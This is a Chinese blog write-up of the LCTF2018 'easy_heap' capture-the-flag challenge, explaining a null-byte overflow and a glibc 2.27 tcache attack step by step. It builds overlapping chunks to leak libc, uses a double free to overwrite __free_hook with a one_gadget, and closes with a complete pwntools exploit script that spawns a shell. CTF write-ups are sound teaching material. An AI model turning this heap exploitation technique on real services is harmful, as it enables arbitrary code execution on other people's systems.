(补题)LCTF2018 PWN easy_heap超详细讲解

这道题是wiki上tcache attack 的Challenge 1,题目需要自己找一下。尝试上传到CSDN上,但总是提示已有,不知道是什么情况。这道题总的来说比较复杂,涉及到的知识点有:tcache分配、unsorted bin分配、堆块合并分割、tcache检查、hook。吐槽一点,堆块的id为什么非得从0开始啊!啊!啊!啊!总的来说收获满满,对tcache这类的题目理解更加深刻了(*^▽^*)

往期回顾:
好好说话之Tcache Attack(3):tcache stashing unlink attack
好好说话之Tcache Attack(2):tcache dup与tcache house of spirit
好好说话之Tcache Attack(1):tcache基础与tcache poisoning
好好说话之Large Bin Attack
好好说话之Unsorted Bin Attack
好好说话之Fastbin Attack(4):Arbitrary Alloc
(补题)2015 9447 CTF : Search Engine
好好说话之Fastbin Attack(3):Alloc to Stack
好好说话之Fastbin Attack(2):House Of Spirit
好好说话之Fastbin Attack(1):Fastbin Double Free
好好说话之Use After Free
好好说话之unlink

编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ

LCTF2018 PWN easy_heap

检查程序保护

还是老规矩上来先检查一下程序的保护机制:

在这里插入图片描述

可以看到保护全开,这个路径是我自己整理的,ctf-challenges的包里没有tcache_attack文件夹,这里我们为了演示讲解,所以关闭了ASLR保护

静态分析

接下来我们使用ida查看一下反编译的代码:

main()函数

在这里插入图片描述

简单的描述一下main()函数的执行流程。首先调用calloc()函数创建一个size为0xb0大小的chunk,并将其malloc指针赋给存放在.bss段的tk全局变量。接下来判断chunk是否创建成功,如果失败则进行提示。接下来进入while循环,首先调用menu()函数输出友情提示,我们可以根据提示信息了解接下来的程序执行流程。下面还有一个get_atoi()函数,这个函数就是用read()函数接收字符的,没什么可说的。接下来的流程就比较简单了,当接收字符为1时调用malloc_1()函数创建堆块,当接收字符为2时调用delete_1()函数释放堆块,当接收字符为3时调用puts_1()函数打印堆块内容,当接收字符为4时退出程序。可以看出这是一个堆管理的程序,同以往来说可能少了堆块内容编辑功能

malloc_1()函数

在这里插入图片描述

简单的描述一下malloc_1()函数的执行流程:首先定义了变量v3、i、v5

接下来进入一个大循环,在正常情况下会循环10次,但是在判断条件中加了&& *(_QWORD *)(16LL * i + tk)。这里就需要仔细想一想这条判断是做什么的,首先tk变量的作用是存储chunk的malloc指针,那么*(_QWORD *)(16LL * i + tk)这里就是从tk起始加i个位宽的地址内是否有值。再将这个判断放回整个for循环中,那么整条for语句的直面意思就为:i从0开始,如果i小于等于9,且16LL * i + tk所在地址内有值,则i++。再根据下面的代码来看,for循环的通俗意思就为:循环10次,找一个还没有存放malloc指针的i下标

接下来进行判断i是否等于10,如果等于10说明循环已经走了11次,存储malloc指针的空间已满,所以会提示”full“。接下来又将tk赋给了变量v3,然后创建了一个size为0x108大小的chunk,并将其malloc指针放在v3 + 16LL * i的位置,这里需要注意的是malloc_1()函数创建的所有chunk的大小都是定值0x108,这里没有像以前的题目一样可以自定义chunk的大小

接下来就是判断chunk是否创建成功,如果成功则提示输入chunk内容大小,调用get_atoi()函数接收size并赋给v5变量。判断v5是否超出chunk的data_size:0xF8,如果没有超过则将size放在16LL * i + tk + 8的位置中。这里其实就可以很明显的看出是存在管理chunk的结构体的,chunk的malloc指针与size存放的地址都是以tk为起始,以16LL \* i16LL \* i +8做偏移的,也就是说管理的结构体如下:

在这里插入图片描述

最后调用safe_read()函数进行接收字符串并存放进chunk的data中,传入safe_read()函数一参为chunk的malloc指针,二参为chunk的size。

我们根据实际运行情况编写自动化交互代码:

在这里插入图片描述

safe_read()函数

在这里插入图片描述

safe_read()函数😂,这个名字一看就有问题😂,有一种此地无银三百两的感觉,我们看一下这个函数的执行流程吧:传进来的一参a1为chunk的malloc指针,二参a2为chunk的size。首先定义了一个整形变量v3,并赋值为0。接下来判断size是否为0,如果为0则返回a1并将chunk的data置空。如果size不为0则进入循环,调用read函数每一次a1[v3]处写一个字符,接下来有一个判断,如果size-1的值小于v3,或a3[v3]中的值为\0,或a3[v3]中的值为换行符的时候跳出循环。循环结束之后会在a1的最后一个size字节填上\0,为什么说是最后一个字节呢,因为在前面的if判断中实际上循环的是size-1次,所以可以在最后一个字节填上\0。接下来用result变量倒了一手,在a1[size]的位置又加上了一个\0

这里其实如果不仔细看的话真的就会认为这是一个safe_read😂,但是这里存在off-by-one漏洞,wiki上管这个叫null-byte-overflow漏洞,个人感觉都差不多。由于在malloc_1()函数中创建的chunk的data_size是固定的0xF8,那么如果我们在输入内容size的时候填写的数据为0xF8的话,那么在最后malloc[0xF8]的位置就会加上一个\0。这里可要看好啊,数组的起始是从malloc[0],所以malloc[0xF8]其实是在0xF9的位置填写了一个"\0"。在做off-by-one的时候我们知道超出的一个字节,会覆盖下一个chunk的inuse标志位!!!

delete_1()函数

在这里插入图片描述

简单的说明一下这个函数的执行流程,首先定义了一个整形变量v1,接着提示输入chunk的id号,由于在创建chunk的时候循环是从0开始的,所以id也是从0开始的。接下来调用get_atoi()函数进行接收,判断输入的字符是否合法,并确定是否存在id对应的chunk,如果不合法或者不存在则退出程序。如果合法且存在,则调用memset()函数清空chunk的data。接下来释放chunk的malloc指针,并将size置空。result倒了一手之后将malloc指针置空。很标准的释放流程,中规中矩没有漏洞

我们根据实际运行情况编写自动化交互代码:

在这里插入图片描述

puts_1()函数

在这里插入图片描述

puts_1()函数主要作用为打赢chunk的data,这里简单的说明一下函数执行流程:首先提示输入要打印的chunk的id号,接下来调用get_atoi()函数接收,if判断接收id是否合法,并确定id对应的chunk是否存在,如果不合法不存在则退出程序。如果合法且存在则调用puts()函数打印chunk中的内容

我们根据实际运行情况编写自动化交互代码:

在这里插入图片描述

动态调试及思路分析

现在可以公开的情报:

  • 铠甲巨人:擅长防御,操作者莱纳 啊啊啊!!!
  • 程序采用的是glibc2.27的版本,存在tcache机制
  • 程序开启了PIE和RELRO保护,所以在exp中不能采用绝对地址,got表不可写
  • 存在管理堆块的结构体:struct [malloc_point, size]
  • 存放堆块malloc指针的变量偏移为0x202050(由于程序开启了PIE保护,所以只能在ida看到偏移量)
  • 在创建堆块的功能中,填写堆块内容部分存在null-byte-overflow漏洞,可以利用\0覆盖紧邻后一个堆块的inuse标志位

思路分析

通过前面的静态分析阶段,我们得到了上述可利用的信息。由于got表不可写,那么只能向hook中写了。向hook中写什么?当然是one_gadget了,如果想得到gadget那么势必要得到libc的基地址。所以首先的第一步是泄露libc基地址

那么在确定第一步泄露libc基地址后,就需要怎么去泄露。首先必要的输出程序中是有的:puts_1()函数。根据以往的做题经验,我们可以通过泄露unsorted bin中空闲块的方式先泄露处main_arena + 偏移,接着确定main_arena地址,进而确定libc基地址

对比以往的做题,我们都是利用堆溢出的方式去修改被释放chunk的fd或者bk,但是这道题并没有修改data的功能,值存在一个null-byte-overflow漏洞,那么脑海中就应该想到关于inuse位的利用方法:overlapping heap chunk。这里不太懂的话可以看一下前面好好说话之Chunk Extend/Overlapping这篇文章

那么确定使用overlapping heap chunk这种利用方法之后,就需要考虑的是为它创建利用环境。由于程序使用的是glibc2.27版本,存在tcache机制,所以在利用的时候要将这里计划清楚如何排满tcache,如何合并与分割unsorted chunk(chunk的size为0x108释放后进tcache bin和unsorted bin)。只有这些还不够,如果想要利用overlapping heap chunk,我们还需要能够控制被溢出inuse标志位所在块的prev_size。虽然我们不能通过堆溢出构造,但是可以利用unsorted bin中堆块合并的机制去修改prev_size的值,尤其是这种每个chunk大小相同的情况下,这道题的考点可能就是在这里

利用堆块合并改写prev_size

这一步就比较复杂了,因为还需要考虑tcache。所以我们一共需要创建10个chunk,其中7个chunk计划在释放后放进tcache bin中,剩下的3个chunk在释放后放进unsorted bin中:

在这里插入图片描述

我们暂时按照id的位置来作为chunk位置的标识,分别从chunk0 - chunk9。为什么说是按照位置去标识呢,因为在前面静态分析中我们了解到malloc_1()函数和delete_1()函数遍历id的时候都是从前向后遍历的,所以id位置的chunk地址并不一定就是固定的,存在id重用、chunk地址从用的状况。为了避免后续因位置与地址的混乱我们现在开始就创建一个表格,实时观察位置变化:

在这里插入图片描述

接下来我们将chunk0 - chunk5释放,再单独释放chunk9

在这里插入图片描述

为什么还要单独释放一个chunk9呢,这是因为我们需要让3个堆块释放近unsorted bin当中,但是如果连续释放chunk0 - chunk6去填满tcache的话剩下的chunk7 - chunk9就会与top chunk合并,所以这里单独释放了chunk9隔开top chunk。接下来我们再释放chunk6 - chunk8:

在这里插入图片描述

可以看到在释放chunk6 - chunk8后,unsorted bin中只显示0x5575A900这一个堆块。这是因为unsorted bin堆块合并的机制,相同size的chunk进入unsorted bin中会进行合并,所以这里显示的0x5575A900这个堆块其实是合并了chunk6(0x5575A900)、chunk7(0x5575AA00)、chunk8(0x5575AB00)之后size为0x300的一个大块:

在这里插入图片描述

这个大的堆块虽然合并了,但是chunk6(0x5575A900)、chunk7(0x5575AA00)、chunk8(0x5575AB00)依然保留了自身的结构。首先我们看chunk6结构内容的变化,首先是chunk6的size在合并后变成了0x300,其fd和bk都指向unsorted bin。接着看chunk7,由于与chunk7物理相邻的前一个堆块chunk6处于空闲状态,所以chunk7的prev_size记录chunk6的size,chunk7的inuse标志位变为0。最后看chunk8,这里是关键,由于在unsorted bin中chunk6、chunk7、chunk8是合并状态,所以在chunk8看来chunk6、chunk7也是合并的一个大块,所以chunk8的prev_size记录的是chunk6_size + chunk7_size = 0x200,并且inuse标志位为0

此时表格中位置对应的堆块的情况如下:

在这里插入图片描述

实现代码如下:

    for i in range(7):
        new(0x10, str(i)) # 七个chunk准备放进tcache

    for i in range(3):
        new(0x10, str(i + 7)) # 三个chunk准备放进unsorted bin

    for i in range(6):
        delete(i) # 六个chunk释放进tcache
    delete(9) # 单独释放,填充tcache,防止后续释放进unsorted bin中的chunk与top chunk合并

    for i in range(6, 9):
        delete(i) # 释放进unsorted bin进行合并,修改目标堆块prev_size为0x200

null-byte-overflow漏洞覆盖inuse标志位

既然我们已经写好了0x5575AB00的prev_size,那么接下需要做的就是覆盖其inuse标志位了。那么既然要覆盖,就需要重新启用bin中的堆块,这里需要注意的是bin中如果tcache bin中有满足需求的空闲块,则优先在tcache中分配。所以我们需要首先申请7个chunk将tcache清空,但是这里还需要注意的是tcache中堆块被拿出的顺序,由于在之前为了防止chunk6(0x5575A900)、chunk7(0x5575AA00)、chunk8(0x5575AB00)被top chunk合并,所以最后释放进tcache bin中的堆块为chunk9(0x5575AC00),那么由于tcache的LIFO先进后出的分配机制,所以首先被分配的应该是0x5575AC00,所以在分配7个chunk后表格中的位置对应地址为:

在这里插入图片描述

请自行对比重启前后表格,这很重要!!!!

我们再去申请chunk的话就,就会直接从unsorted bin中这个合并的大块中分割了。由于我们写prev_size的0x5575AB00在整个合并块的最后一部分,所以接下来再创建三个chunk才能重启0x5575AB00这个堆块,那么第一个被分割的就是大块的起始0x5575A900,之后是0x5575AA00,最后是0x5575AB00。所以在分割完成之后id对应地址的表格如下:

在这里插入图片描述

提问时间:

1、为什么重新启用chunk8(0x5575AA0)的时候为什么不直接进行溢出呢???
答:这是因为前面我们将0x5575AB00的prev_size修改成0x200,那么就意味着我们要向前overlapping两个chunk,那么此时的chunk7(0x5575A900)就必须使其fd或bk指向unsorted bin,这样才能达到泄露地址的目的

所以接下来我们还需要倒一次bin,依然还是先释放chunk0 - chunk5,不过这里单释放的是chunk8(0x5575AA0):

在这里插入图片描述

这里单释放chunk8(0x5575AA0)的原因有三个:

  • 第一是利用chunk8填满tcache,接下来再释放chunk7(0x5575A900)的时候chunk7就会被挂进unsorted bin中,这样chunk7的fd和bk就会指向unsorted bin
  • 第二个原因是,chunk8落在tcache bin的结尾,由于LIFO分配机制的原因,重新申请chunk的时候chunk8就会第一个被启用,这样一来由于chunk8(0x5575AA0)与chunk9(0x5575AB0)是物理相邻的,所以通过对chunk8进行null-byte-overflow就可以直接覆盖chunk9(0x5575AB0)的inuse标志位了
  • 第三个原因是防止接下来释放的chunk7与top chunk合并

那么接下来我们先释放chunk7(0x5575A900),使其fd和bk指向unsorted bin:

在这里插入图片描述

那么接下来就可以重新申请chunk,即重新启用chunk8(0x5575AA0)对chunk9(0x5575AB0)进行溢出了。这里就可以申请一个size为0xF8大小的chunk,对chunk9(0x5575AB0)的inuse标志位进行覆盖:

在这里插入图片描述

实现代码如下:

    for i in range(7):
        new(0x10, str(i)) # 清空tcache bin
        
    # 分割合并块,保留prev_size
		new(0x10, 'hollk7')
    new(0x10, 'hollk8')
    new(0x10, 'hollk9')

    for i in range(6):
        delete(i) # 填充tcache
    delete(8) # 填满tcache,防止后续释放进unsorted bin中的chunk与top chunk合并
   
    delete(7) # 获得fd指针与bk指针,为后续目标目标堆块的fd和bk指针指向unsorted bin做准备

    new(0xf8, 'hollk0') #null-byte-overflow漏洞覆盖目标堆块inuse标志位

停顿思考

现在我们停下来思考一下,已经修改了chunk9(0x5575AB0)的prev_size和inuse,那么接下来应该做什么。回顾一下现在的情况,我们看一下id对应的地址表格:

在这里插入图片描述

现在id对应的地址表格如上,chunk0 - chunk5都被释放进tcache bin中,由于重新申请了一个data_size为0xF8大小的chunk,所以之前被放在tcache最尾部的chunk8(0x5575AA0)被重新启用至chunk0(0x5575AA0),注意注意!现在0x5575AA0在chunk0的位置,并且chunk0(0x5575AA0)是处于使用状态!!!

由于我们修改了chunk9(0x5575AB0)的inuse标志位,且chunk0(0x5575AA0)是chunk9(0x5575AB0)物理相邻的前一个chunk,所以即使chunk0处于使用状态,但现在被chunk9强迫标志为被释放堆块。那么如果将chunk9(0x5575AB0)释放后挂进unsorted bin中,那么chunk7(0x5575A900)、chunk0(0x5575AA0)、chunk9(0x5575AB00)还是会被认为是连续释放进unsorted bin之后合并的大块。

此时chunk7(0x5575A900)的fd和bk指向的unsorted bin,如果这个时候将0x5575A900分配走,那么物理相邻的chunk0(0x5575AA0)就会被认为是已分割后剩余堆块的头部,那么这个时候chunk0(0x5575AA0)的fd指针和bk指针就会指向unsorted bin

这样一来chunk0(0x5575AA0)虽然是使用状态,这样一来我们就可以调用程序自身的输出函数输出chunk0(0x5575AA0),连带着就会将unsorted bin地址输出出来

泄露unsorted bin地址

经过前面的思考,我们确定了泄露unsorted bin地址的步骤。那么第一步我们就需要先将chunk6(0x5575A300)释放进tcache bin中,由于在上一步中我们重新启用了chunk8,所以现在tcache bin中只有6个空闲块,没有满。如果此时直接将chunk9(0x5575AB00)释放的话会被挂进tcache bin中而不是unsorted bin:

在这里插入图片描述

那么接下来我们再去释放chunk9(0x5575AB00),由于tcache bin被填满了,所以会被挂进unsorted bin中:

在这里插入图片描述

那么接下来我们只要将chunk7(0x5575A900)重新启用,那么chunk0(0x5575AA00)的fd指针和bk指针就会指向unsorted bin。但是在这之前还需要将tcache bin中的7个空闲块分配之后才能分配unsorted bin中的chunk7(0x5575A900),将tcache中的堆块释放后id对应地址表格状况如下:

在这里插入图片描述

接下来我们在将0x5575A900重启:

在这里插入图片描述

那么这个时候我们去看一下chunk0(0x5575AA00)中的情况:

在这里插入图片描述

可以看到现在chunk0(0x5575AA00)作为合并块的头部,其fd指针与bk指针就已经指向了unsorted bin了,那么直接调用程序自身的输出功能打印chunk0(0x5575AA00)中的内容即可泄露出unsorted bin的地址了!!!!!!!

实现代码如下:

    delete(6) # 填满tcache,补上一行代码在tcache中的缺口

    delete(9) # 释放目标堆块,让程序误认为unsorted bin中的堆块为合并的三个大堆块

    for i in range(7):
        new(0x10, str(i) + ' - tcache') # 清空tcache,再申请堆块就要从unsorted bin中分割
    new(0x10, '900') # 分割unsorted bin中的合并堆块,使目标堆块作为合并堆块的头块,这样目标堆块的fd指针和bk指针就会指向unsorted bin

    libc_leak = u64(show(0).strip().ljust(8, '\x00'))# 泄露目标堆块的fd和bk指针指向的unsorted bin地址

构建Double Free,将free_hook挂进tcache bin

上面的步骤泄露出了unsorted bin的地址,在接下来就是利用偏移算出libc的基地址了。这部分就不再多说了,因为之前的例题里每次都用过,可以看最后的EXP。这里我们已经拿到了libc的基地址libc_addr,那么就可以查找one_gadget了,接下来我们就需要思考怎么将one_gadget写进free_hook中。这里我们在回顾一下上一步结尾时id对应地址表格:

在这里插入图片描述

现在chunk0中存放的是被视为空闲块的0x5575AA00,chunk1 - chunk7中的堆块是由清空tcache这个步骤布置的。chunk8中存放的0x5575AA00是为了让chunk0获得fd指针和bk指针得来的。现在chunk9的位置是空的,unsorted bin中合并堆块头部块记录的还是chunk0中存放的0x5575AA00

通过上面的复盘,我们第一个应该想到的就是,如果再去申请一个堆块的话,就会从unsorted bin中的合并堆块分割,即0x5575AA00不仅会存放进chunk0,还会存放进chunk9:

在这里插入图片描述

可以看到我们再一次申请堆块后,unsorted bin中堆块的头部,已不再是0x5575AA00,那么此时id对应地址表格中的状况就变成了:

在这里插入图片描述

那么此时chunk0和chunk9中存放的都是0x5575AA00,那么这种情况我们第一个应该想到的就是Double Free!将0x5575AA00释放两次,这样一来在tcache中就会形成类似单向循环链表的结构

  • 释放之后第一次重启0x5575AA00,我们将堆块的fd指针位置以内容的形式覆盖成free_hook的地址,那么此时tcache中的结构就会变为0x5575AA10 --> free_hook
  • 那么第二次重启0x5575AA00之后,tcache的尾部就会将free_hook看做成一个空闲块
  • 第三次申请堆块的时候free_hook就会被作为堆块重新启用,这时候我们用添加堆块内容的方式向free_hook内写gadget!!!

几乎好了我们就考试执行!但是这里还需要注意的是tcache虽然对链表中的检查不够严格,但也并不是一点都不检查。还是会对链接tcache bin的堆块做完整性检查的,所以我们需要先将chunk1(0x5575A300)和chunk2(0x5575A400)释放进tcache,为chunk0(0x5575AA00)和chunk9(0x5575AA00)做检查绕过,释放chunk1和chunk2后tcache中的情况:

在这里插入图片描述

接下来我们先释放chunk0(0x5575AA00)再释放chunk9(0x5575AA00),我们看一下bin中的情况,并且看一下0x5575AA00内部的情况:

在这里插入图片描述

可以看到释放两次0x5575AA00之后,bin中的空闲块数量还是4,但是只显示了0x5575AA00这一个地址。这是因为0x5575AA00被释放两次之后其fd指针将会指向自己的data区域地址,这就形成了闭环(看第二个图),导致bin中显示的情况也是自己指向自己。那么此时id对应地址表格中的状况为:

在这里插入图片描述

接下来我们重新申请一个堆块,这时重启的是第二次释放的0x5575AA00。我们在申请堆块的同时将内容填写成free_hook的地址:

在这里插入图片描述

那么此时tcache bin中还挂着第一次释放的0x5575AA00,我们看一下tcache bin中的情况:

在这里插入图片描述

可以看到,由于我们填写堆块内容的时候,是将free_hook的地址写在了0x5575AA00的fd位置,所以此时第一次释放的0x5575AA00后面会跟着free_hook的地址,free_hook也被当成了一个释放块挂进tcache bin中

实现代码如下:

    new(0x10, '9 - next') # 分割合并堆块中作为头部的目标堆块,使得chunk0和chunk9都存放目标堆块
	# 绕过 tcache检查
    delete(1)
    delete(2)
	# double free
    delete(0) # 第一次释放目标堆块
    delete(9) # 第二次释放目标堆块

    new(0x10, p64(libc.symbols['__free_hook'])) # 重新启用第二次释放的目标堆块,并向其中写入free_hook地址,将free_hook挂进tcache bin中

找one_gadget

接下来的思路就清晰多了,我们找一下题目自带.so文件中的one_gadget:

在这里插入图片描述

可以看到三个gadget可以利用,这里采用第二个0x4f322

拿shell!

现在gadget也准备好了,free_hook也在tcache中部署好了。接下来我们连续申请两个堆块,申请的第二个堆块会重新启用被视为空闲堆块的free_hook。与此同时我们将第二个堆块的内容写成gadget + libc_addr,这样就完成了hook。我们看一下构建好hook之后id对应地址表格的状态:

在这里插入图片描述

这样一来,我们只需要随便释放一个堆块就可以出发gadget拿shell了!!!!!

在这里插入图片描述

EXP

import sys
import os
import os.path
from pwn import *

hollk = process('./hollk')

def cmd(idx):
    hollk.recvuntil('>')
    hollk.sendline(str(idx))


def new(size, content):
    cmd(1)
    hollk.recvuntil('>')
    hollk.sendline(str(size))
    hollk.recvuntil('> ')
    if len(content) >= size:
        hollk.send(content)
    else:
        hollk.sendline(content)


def delete(idx):
    cmd(2)
    hollk.recvuntil('index \n> ')
    hollk.sendline(str(idx))


def show(idx):
    cmd(3)
    hollk.recvuntil('> ')
    hollk.sendline(str(idx))
    return hollk.recvline()[:-1]

def main():
    for i in range(7):
        new(0x10, str(i)) # 七个chunk准备放进tcache

    for i in range(3):
        new(0x10, str(i + 7)) # 三个chunk准备放进unsorted bin

    for i in range(6):
        delete(i) # 六个chunk释放进tcache
    delete(9) # 单独释放,填充tcache,防止后续释放进unsorted bin中的chunk与top chunk合并

    for i in range(6, 9):
        delete(i) # 释放进unsorted bin进行合并,修改目标堆块prev_size为0x200

    for i in range(7):
        new(0x10, str(i)) # 清空tcache bin
        
    # 分割合并块,保留prev_size
		new(0x10, 'hollk7')
    new(0x10, 'hollk8')
    new(0x10, 'hollk9')

    for i in range(6):
        delete(i) # 填充tcache
    delete(8) # 填满tcache,防止后续释放进unsorted bin中的chunk与top chunk合并
   
    delete(7) # 获得fd指针与bk指针,为后续目标目标堆块的fd和bk指针指向unsorted bin做准备

    new(0xf8, 'hollk0') #null-byte-overflow漏洞覆盖目标堆块inuse标志位
    
    delete(6) # 填满tcache,补上一行代码在tcache中的缺口

    delete(9) # 释放目标堆块,让程序误认为unsorted bin中的堆块为合并的三个大堆块

    for i in range(7):
        new(0x10, str(i) + ' - tcache') # 清空tcache,再申请堆块就要从unsorted bin中分割
    new(0x10, '900') # 分割unsorted bin中的合并堆块,使目标堆块作为合并堆块的头块,这样目标堆块的fd指针和bk指针就会指向unsorted bin

    libc_leak = u64(show(0).strip().ljust(8, '\x00'))# 泄露目标堆块的fd和bk指针指向的unsorted bin地址
    
# 通过偏移算libc基地址
    hollk.info('libc leak {}'.format(hex(libc_leak)))
    libc = ELF('./libc.so.6')
    libc.address = libc_leak - 0x3ebca0

    new(0x10, '9 - next') # 分割合并堆块中作为头部的目标堆块,使得chunk0和chunk9都存放目标堆块
# 绕过 tcache检查
    delete(1)
    delete(2)
# double free
    delete(0) # 第一次释放目标堆块
    delete(9) # 第二次释放目标堆块

    new(0x10, p64(libc.symbols['__free_hook'])) # 重新启用第二次释放的目标堆块,并向其中写入free_hook地址,将free_hook挂进tcache bin中
    new(0x10, 'hollk') # 重启第一次释放的目标堆块,tcache中只留free_hook

    one_gadget = libc.address + 0x4f322
    new(0x10, p64(one_gadget)) # 启用作为空闲块的free_hook,并向其中写入one_gadget

    delete(1) # 触发hook

    hollk.interactive()

if __name__ == '__main__':
    main()
  	

在这里插入图片描述

  • 23
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 17
    评论
评论 17
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hollk

要不赏点?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值